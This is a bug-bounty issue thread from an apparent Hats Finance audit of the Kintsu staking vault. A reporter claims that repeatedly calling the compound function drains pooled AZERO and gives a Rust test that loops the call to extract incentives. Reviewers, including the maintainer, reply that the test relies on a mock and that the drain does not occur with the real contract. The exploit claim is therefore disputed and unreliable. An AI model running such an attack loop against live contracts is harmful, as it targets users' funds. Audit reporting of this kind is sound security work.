Any user can drain the bonded AZERO from the pool

[hats-bug-reporter[bot]]

Github username: -- Twitter username: -- Submission hash (on-chain): 0x20e4fe2078ccb2d540378a522b0d994b3ba56593205a238211478864a563e726 Severity: high

Description: Description\ (More detailed impact for issue with submission hash 0xb0c97ae7e55a984c308ca229d1aa3d9b6f7e76545fe868818b7101f4127fd099)

Attack Scenario\ Assuming we take one of the already existing testcases for the compound function, which adds two agents, each with 10000 bonded AZERO each. This means we have 20000 AZERO bonded and our calculation for the incentive (happening in data.delegate_compound) is therefore 20000 * (100% - 0.05%). This is taking the standard incentive percentage of 0.05%. Calculating this, we get an incentive of 10 AZERO and after calling compound once, the total_pooled went from 20000 to 19990.

If now a user goes ahead and just calls compound 3 times we get the following calculations:

20000 * (1 - 0.0005) = 19990 -> incentive = 10

19990 * (1 - 0.0005) = 19980.005 -> incentive = 10

19980 * (1 - 0.0005) = 19970.01xx -> incentive = 10

Looking at this we see that we can consistently withdraw funds from the pool. Therefore we can drain the pool and steal its funds.

#[ink(message)]
pub fn compound(&mut self) -> Result<Balance, VaultError> {
    let caller = Self::env().caller();

    // Delegate compounding to all nominator pools
    let (compounded, incentive) = self.data.delegate_compound()?;

    // Send AZERO incentive to caller
    if incentive > 0 {
        Self::env().transfer(caller, incentive)?;
    }
    [. . .]

Since the incentive is calculated as a percentage, this attack will be more effective if there are more assets in the pool or the owner decides to increase the incentives percentage.

Attachments

1. Proof of Concept (PoC) File

Add the following into drink_test/lib.rs comment out the line where charlie gets initial funds and then execute it with pnpm test test_compound_drain_funds

NOTE: this test runs quite long. If it takes too long or you run out of RAM, please decrease the size of the for loop, it will still proof the concept. In that case the last assertion must be changed as it depends on the amount of iterations

    #[test]
    fn test_compound_drain_funds() -> Result<(), Box<dyn Error>> {
        let ctx = setup().unwrap();
        let mut sess = ctx.sess;

        // Fund nominator agents to simulate AZERO being claimed
        let mock_reward = 10_000;
        sess.chain_api().add_tokens(ctx.nominators[0].clone(), mock_reward);
        sess.chain_api().add_tokens(ctx.nominators[1].clone(), mock_reward);

        // Compound
        let caller_balance_before_compound = sess.chain_api().balance(&ctx.charlie);

        // charlie starts with 0 balance
        assert_eq!(caller_balance_before_compound, 0);
        let mut sess = helpers::call_function(
            sess,
            &ctx.vault,
            &ctx.charlie,
            String::from("compound"),
            None,
            None,
            helpers::transcoder_vault(),
        ).unwrap();

        // compounding with 2 nominator pools yields a perceived increase of 20,000 * (100% - 0.05%) = 19,990

        let caller_balance_after_compound = sess.chain_api().balance(&ctx.charlie);
        assert_eq!(caller_balance_after_compound - caller_balance_before_compound, 10);

        let (total_pooled, _sess) = helpers::get_total_pooled(sess, &ctx.vault).unwrap();
        assert_eq!(total_pooled, 19_990);

        // Compound

        let mut sess_ = _sess;

        for n in 1..5000 {
            sess_ = helpers::call_function(
                sess_,
                &ctx.vault,
                &ctx.charlie,
                String::from("compound"),
                None,
                None,
                helpers::transcoder_vault(),
            ).unwrap();
        }

        let second_caller_balance_after_compound = sess_.chain_api().balance(&ctx.charlie);

        // this is successful
        assert!(second_caller_balance_after_compound > 15000);

        Ok(())
    }

Looking at this test, we were able to drain more than 75% of the funds, possibly even more.

[kakarottosama]

Any reason why this issue being submitted twice? the core issue is same as #16 , the compound function can drain AZERO. The user can drain incentive which is AZERO, so in my opinion this is the same as #16

also, after calling compound, isn't the nominator balance will 0, so there will be nothing to compound again (until it released to nominator pool again), so isn't it will just return 0 for the let (compounded, incentive) = self.data.delegate_compound()?; ?

[n4nika]

Yes this is the same as issue #16, I tried to clarify by outlining that in the description. I was not satisfied with my outlining of the impact in the first issue so I wanted to describe it better in this issue. As shown in the PoC, it will not return 0 and just keep on paying out rewards. I was able to drain almost all pooled funds that way.

[coreggon11]

This is in case tokens are sent to the vault by transfer, not by stake. After this call the balance of the nomination agent is 0, since balance - incentive is bonded to the nomination pool and incentive is sent to the vault.

[0xmahdirostami]

Thank you for your submission. the test is on mock example, in nomination_agent contract remain balance is sent to the nomination pool https://github.com/hats-finance/Kintsu-0x7d70f9442af3a9a0a734fa6a1b4857f25518e9d2/blob/c9bdc853b18c305de832307b91a9bca0f281f71e/src/nomination_agent/lib.rs#L158

[bgibers]

This is in case tokens are sent to the vault by transfer, not by stake. After this call the balance of the nomination agent is 0, since balance - incentive is bonded to the nomination pool and incentive is sent to the vault.

This is correct